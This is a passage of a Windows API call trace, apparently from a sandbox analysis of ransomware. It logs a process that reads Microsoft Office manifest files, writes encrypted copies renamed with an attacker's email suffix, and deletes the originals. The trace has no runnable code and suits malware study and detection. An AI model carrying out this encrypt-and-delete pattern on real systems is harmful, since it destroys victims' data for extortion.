RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x508) returned 0x38283e0 [0134.731] GetCurrentThreadId () returned 0x9b0 [0134.731] GetLastError () returned 0x0 [0134.731] GetLastError () returned 0x0 [0134.731] GetLastError () returned 0x0 [0134.731] GetLastError () returned 0x0 [0134.731] GetCurrentThreadId () returned 0x9b0 [0134.731] GetLastError () returned 0x0 [0134.731] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38283e0 | out: hHeap=0x2ad0000) returned 1 [0134.731] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881138 [0134.732] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0134.732] GetLastError () returned 0x0 [0134.732] GetLastError () returned 0x0 [0134.732] GetCurrentThreadId () returned 0x9b0 [0134.732] GetLastError () returned 0x0 [0134.732] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3828928 | out: hHeap=0x2ad0000) returned 1 [0134.732] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8a58 [0134.732] GetLastError () returned 0x0 [0134.732] GetLastError () returned 0x0 [0134.732] GetCurrentThreadId () returned 0x9b0 [0134.732] GetLastError () returned 0x0 [0134.733] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8a58 | out: hHeap=0x2ad0000) returned 1 [0134.733] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0134.733] GetLastError () returned 0x0 [0134.734] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0134.734] CloseHandle (hObject=0x3ac) returned 1 [0134.734] GetLastError () returned 0x0 [0134.734] GetCurrentThreadId () returned 0x9b0 [0134.734] GetLastError () returned 0x0 [0134.734] GetLastError () returned 0x0 [0134.734] CloseHandle (hObject=0x39c) returned 1 [0134.735] GetLastError () returned 0x0 [0134.735] GetCurrentThreadId () returned 0x9b0 [0134.735] GetLastError () returned 0x0 [0134.735] GetLastError () returned 0x0 [0134.735] GetLastError () returned 0x0 [0134.735] GetLastError () returned 0x0 [0134.735] GetLastError () returned 0x0 [0134.735] DeleteFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml")) returned 1 [0134.736] GetLastError () returned 0x0 [0134.736] GetCurrentThreadId () returned 0x9b0 [0134.736] GetLastError () returned 0x0 [0134.736] GetCurrentThreadId () returned 0x9b0 [0134.737] GetLastError () returned 0x0 [0134.737] GetLastError () returned 0x0 [0134.737] GetLastError () returned 0x0 [0134.737] GetLastError () returned 0x0 [0134.737] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml", lpFilePart=0x9bada4*="AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml") returned 0x68 [0134.737] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0134.737] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0134.737] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0134.737] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0134.737] GetCurrentThreadId () returned 0x9b0 [0134.737] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x3028558 [0134.738] GetLastError () returned 0x0 [0134.738] GetLastError () returned 0x0 [0134.738] GetLastError () returned 0x0 [0134.738] GetLastError () returned 0x0 [0134.738] GetCurrentThreadId () returned 0x9b0 [0134.738] GetLastError () returned 0x0 [0134.738] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028558 | out: hHeap=0x2ad0000) returned 1 [0134.738] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x30282d8 [0134.738] GetLastError () returned 0x0 [0134.738] GetLastError () returned 0x0 [0134.739] GetLastError () returned 0x0 [0134.739] GetLastError () returned 0x0 [0134.739] GetCurrentThreadId () returned 0x9b0 [0134.739] GetLastError () returned 0x0 [0134.739] GetCurrentThreadId () returned 0x9b0 [0134.739] GetLastError () returned 0x0 [0134.739] GetLastError () returned 0x0 [0134.739] GetLastError () returned 0x0 [0134.740] GetLastError () returned 0x0 [0134.740] GetCurrentThreadId () returned 0x9b0 [0134.740] GetLastError () returned 0x0 [0134.740] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30282d8 | out: hHeap=0x2ad0000) returned 1 [0134.740] GetLastError () returned 0x0 [0134.740] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x2ad0000) returned 1 [0134.740] GetLastError () returned 0x0 [0134.740] GetLastError () returned 0x0 [0134.740] GetLastError () returned 0x0 [0134.740] GetCurrentThreadId () returned 0x9b0 [0134.740] GetLastError () returned 0x0 [0134.741] GetLastError () returned 0x0 [0134.741] GetLastError () returned 0x0 [0134.741] GetLastError () returned 0x0 [0134.741] GetLastError () returned 0x0 [0134.741] GetCurrentThreadId () returned 0x9b0 [0134.741] GetLastError () returned 0x0 [0134.741] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8ab68 | out: hHeap=0x2ad0000) returned 1 [0134.741] GetLastError () returned 0x0 [0134.741] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6258 | out: hHeap=0x2ad0000) returned 1 [0134.741] GetLastError () returned 0x0 [0134.741] GetLastError () returned 0x0 [0134.742] GetLastError () returned 0x0 [0134.742] GetCurrentThreadId () returned 0x9b0 [0134.742] GetLastError () returned 0x0 [0134.742] GetLastError () returned 0x0 [0134.742] GetLastError () returned 0x0 [0134.742] GetLastError () returned 0x0 [0134.742] GetLastError () returned 0x0 [0134.742] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0134.742] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83ea71ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83ea71ba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd2f)) returned 1 [0134.743] GetLastError () returned 0x0 [0134.743] GetCurrentThreadId () returned 0x9b0 [0134.743] GetLastError () returned 0x0 [0134.743] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6780 | out: hHeap=0x2ad0000) returned 1 [0134.743] GetCurrentThreadId () returned 0x9b0 [0134.743] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b14c | out: pbBuffer=0x366b14c) returned 1 [0134.743] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0134.743] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a31b0 [0134.743] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0134.743] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x30281c0 [0134.743] GetCurrentThreadId () returned 0x9b0 [0134.744] GetLastError () returned 0x0 [0134.744] GetLastError () returned 0x0 [0134.744] GetLastError () returned 0x0 [0134.744] GetCurrentThreadId () returned 0x9b0 [0134.744] GetCurrentThreadId () returned 0x9b0 [0134.744] GetCurrentThreadId () returned 0x9b0 [0134.744] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028558 | out: hHeap=0x2ad0000) returned 1 [0134.744] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x35d6598 [0134.744] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a31b0 | out: hHeap=0x2ad0000) returned 1 [0134.744] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0134.745] GetFileType (hFile=0x39c) returned 0x1 [0134.745] GetCurrentThreadId () returned 0x9b0 [0134.745] GetFileType (hFile=0x39c) returned 0x1 [0134.745] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0134.745] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.745] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.745] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.745] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.745] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.745] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.746] GetCurrentThreadId () returned 0x9b0 [0134.746] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0134.746] GetFileType (hFile=0x3ac) returned 0x1 [0134.746] GetCurrentThreadId () returned 0x9b0 [0134.746] GetFileType (hFile=0x3ac) returned 0x1 [0134.746] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0134.746] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.747] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.747] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.747] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.747] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.747] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.747] GetCurrentThreadId () returned 0x9b0 [0134.747] GetCurrentThreadId () returned 0x9b0 [0134.747] GetCurrentThreadId () returned 0x9b0 [0134.749] GetCurrentThreadId () returned 0x9b0 [0134.749] GetCurrentThreadId () returned 0x9b0 [0134.749] GetCurrentThreadId () returned 0x9b0 [0134.749] GetCurrentThreadId () returned 0x9b0 [0134.749] GetCurrentThreadId () returned 0x9b0 [0134.750] CloseHandle (hObject=0x3ac) returned 1 [0134.750] GetCurrentThreadId () returned 0x9b0 [0134.750] CloseHandle (hObject=0x39c) returned 1 [0134.750] GetCurrentThreadId () returned 0x9b0 [0134.750] DeleteFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-3101-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-3101-0000-1000-0000000ff1ce.xml")) returned 1 [0134.752] GetCurrentThreadId () returned 0x9b0 [0134.752] GetCurrentThreadId () returned 0x9b0 [0134.752] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml", lpFilePart=0x9bada4*="AppXManifest.common.xml") returned 0x4a [0134.752] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0134.752] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0134.752] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0134.752] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0134.752] GetCurrentThreadId () returned 0x9b0 [0134.752] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x3028558 [0134.752] GetLastError () returned 0x0 [0134.753] GetLastError () returned 0x0 [0134.753] GetLastError () returned 0x0 [0134.753] GetLastError () returned 0x0 [0134.753] GetCurrentThreadId () returned 0x9b0 [0134.753] GetLastError () returned 0x0 [0134.753] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028558 | out: hHeap=0x2ad0000) returned 1 [0134.753] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x3028558 [0134.753] GetLastError () returned 0x0 [0134.753] GetLastError () returned 0x0 [0134.753] GetLastError () returned 0x0 [0134.753] GetLastError () returned 0x0 [0134.754] GetCurrentThreadId () returned 0x9b0 [0134.754] GetLastError () returned 0x0 [0134.754] GetCurrentThreadId () returned 0x9b0 [0134.754] GetLastError () returned 0x0 [0134.754] GetLastError () returned 0x0 [0134.754] GetLastError () returned 0x0 [0134.754] GetLastError () returned 0x0 [0134.754] GetCurrentThreadId () returned 0x9b0 [0134.754] GetLastError () returned 0x0 [0134.754] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028558 | out: hHeap=0x2ad0000) returned 1 [0134.754] GetLastError () returned 0x0 [0134.755] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6168 | out: hHeap=0x2ad0000) returned 1 [0134.755] GetLastError () returned 0x0 [0134.755] GetLastError () returned 0x0 [0134.755] GetLastError () returned 0x0 [0134.755] GetCurrentThreadId () returned 0x9b0 [0134.755] GetLastError () returned 0x0 [0134.755] GetLastError () returned 0x0 [0134.755] GetLastError () returned 0x0 [0134.755] GetLastError () returned 0x0 [0134.755] GetLastError () returned 0x0 [0134.756] GetCurrentThreadId () returned 0x9b0 [0134.756] GetLastError () returned 0x0 [0134.756] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aae8 | out: hHeap=0x2ad0000) returned 1 [0134.756] GetCurrentThreadId () returned 0x9b0 [0134.756] GetLastError () returned 0x0 [0134.756] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6690 | out: hHeap=0x2ad0000) returned 1 [0134.756] GetLastError () returned 0x0 [0134.756] GetLastError () returned 0x0 [0134.756] GetLastError () returned 0x0 [0134.756] GetCurrentThreadId () returned 0x9b0 [0134.757] GetLastError () returned 0x0 [0134.757] GetLastError () returned 0x0 [0134.757] GetLastError () returned 0x0 [0134.757] GetLastError () returned 0x0 [0134.757] GetLastError () returned 0x0 [0134.757] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0134.757] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834f7581, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834f7581, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x212876)) returned 1 [0134.757] GetLastError () returned 0x0 [0134.757] GetCurrentThreadId () returned 0x9b0 [0134.757] GetLastError () returned 0x0 [0134.758] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2250 | out: hHeap=0x2ad0000) returned 1 [0134.758] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b19c | out: pbBuffer=0x366b19c) returned 1 [0134.758] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0134.758] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a34c0 [0134.758] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0134.758] GetCurrentThreadId () returned 0x9b0 [0134.758] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x3028558 [0134.758] GetLastError () returned 0x0 [0134.758] GetLastError () returned 0x0 [0134.758] GetLastError () returned 0x0 [0134.759] GetLastError () returned 0x0 [0134.759] GetCurrentThreadId () returned 0x9b0 [0134.759] GetLastError () returned 0x0 [0134.759] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028558 | out: hHeap=0x2ad0000) returned 1 [0134.759] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x3028300 [0134.759] GetCurrentThreadId () returned 0x9b0 [0134.759] GetLastError () returned 0x0 [0134.759] GetLastError () returned 0x0 [0134.759] GetLastError () returned 0x0 [0134.759] GetLastError () returned 0x0 [0134.759] GetCurrentThreadId () returned 0x9b0 [0134.760] GetLastError () returned 0x0 [0134.760] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028300 | out: hHeap=0x2ad0000) returned 1 [0134.760] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x35d6598 [0134.760] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a34c0 | out: hHeap=0x2ad0000) returned 1 [0134.760] GetLastError () returned 0x0 [0134.760] GetLastError () returned 0x0 [0134.760] GetLastError () returned 0x0 [0134.760] GetLastError () returned 0x0 [0134.760] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0134.760] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x35d6388 [0134.760] GetLastError () returned 0x0 [0134.760] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0134.761] GetFileType (hFile=0x39c) returned 0x1 [0134.761] GetLastError () returned 0x0 [0134.761] GetCurrentThreadId () returned 0x9b0 [0134.761] GetLastError () returned 0x0 [0134.761] GetFileType (hFile=0x39c) returned 0x1 [0134.761] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0134.761] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.761] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.761] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.762] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.762] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.762] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.762] GetLastError () returned 0x0 [0134.762] GetCurrentThreadId () returned 0x9b0 [0134.762] GetLastError () returned 0x0 [0134.762] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6388 | out: hHeap=0x2ad0000) returned 1 [0134.762] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a23b0 | out: hHeap=0x2ad0000) returned 1 [0134.762] GetLastError () returned 0x0 [0134.762] GetLastError () returned 0x0 [0134.762] GetLastError () returned 0x0 [0134.762] GetLastError () returned 0x0 [0134.763] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0134.763] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x35d64a8 [0134.763] GetLastError () returned 0x0 [0134.763] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0134.763] GetFileType (hFile=0x3ac) returned 0x1 [0134.763] GetLastError () returned 0x0 [0134.763] GetCurrentThreadId () returned 0x9b0 [0134.763] GetLastError () returned 0x0 [0134.763] GetFileType (hFile=0x3ac) returned 0x1 [0134.764] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0134.764] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.764] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.764] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.764] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.764] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.764] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.764] GetLastError () returned 0x0 [0134.764] GetCurrentThreadId () returned 0x9b0 [0134.764] GetLastError () returned 0x0 [0134.764] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d64a8 | out: hHeap=0x2ad0000) returned 1 [0134.765] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6618 | out: hHeap=0x2ad0000) returned 1 [0134.765] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0134.765] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0134.765] GetLastError () returned 0x0 [0134.765] GetLastError () returned 0x0 [0134.765] GetCurrentThreadId () returned 0x9b0 [0134.765] GetLastError () returned 0x0 [0134.765] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0134.765] GetLastError () returned 0x0 [0134.765] GetLastError () returned 0x0 [0134.765] GetCurrentThreadId () returned 0x9b0 [0134.765] GetLastError () returned 0x0 [0134.766] GetLastError () returned 0x0 [0134.767] GetLastError () returned 0x0 [0134.768] GetCurrentThreadId () returned 0x9b0 [0134.768] GetLastError () returned 0x0 [0134.768] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d6598 | out: hHeap=0x2ad0000) returned 1 [0134.768] GetCurrentThreadId () returned 0x9b0 [0134.768] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37940d0 [0134.768] GetLastError () returned 0x0 [0134.768] GetLastError () returned 0x0 [0134.768] GetLastError () returned 0x0 [0134.769] GetLastError () returned 0x0 [0134.769] GetCurrentThreadId () returned 0x9b0 [0134.769] GetLastError () returned 0x0 [0134.769] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0134.769] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811f8 [0134.770] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0134.770] GetLastError () returned 0x0 [0134.771] GetLastError () returned 0x0 [0134.772] GetCurrentThreadId () returned 0x9b0 [0134.772] GetLastError () returned 0x0 [0134.772] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0134.772] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37940d0 [0134.772] GetLastError () returned 0x0 [0134.773] GetLastError () returned 0x0 [0134.773] GetCurrentThreadId () returned 0x9b0 [0134.773] GetLastError () returned 0x0 [0134.773] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0134.773] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x35d6598 [0134.773] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d64b8 | out: hHeap=0x2ad0000) returned 1 [0134.773] GetCurrentThreadId () returned 0x9b0 [0134.774] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0134.774] GetLastError () returned 0x0 [0134.774] GetLastError () returned 0x0 [0134.774] GetLastError () returned 0x0 [0134.774] GetLastError () returned 0x0 [0134.774] GetCurrentThreadId () returned 0x9b0 [0134.774] GetLastError () returned 0x0 [0134.774] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0134.775] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0134.775] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0134.775] GetLastError () returned 0x0 [0134.776] GetLastError () returned 0x0 [0134.776] GetCurrentThreadId () returned 0x9b0 [0134.776] GetLastError () returned 0x0 [0134.776] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37a40f0 | out: hHeap=0x2ad0000) returned 1 [0134.776] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0134.776] GetLastError () returned 0x0 [0134.776] GetLastError () returned 0x0 [0134.778] GetCurrentThreadId () returned 0x9b0 [0134.778] GetLastError () returned 0x0 [0134.778] HeapFree (in: hHeap=0x2ad0000, 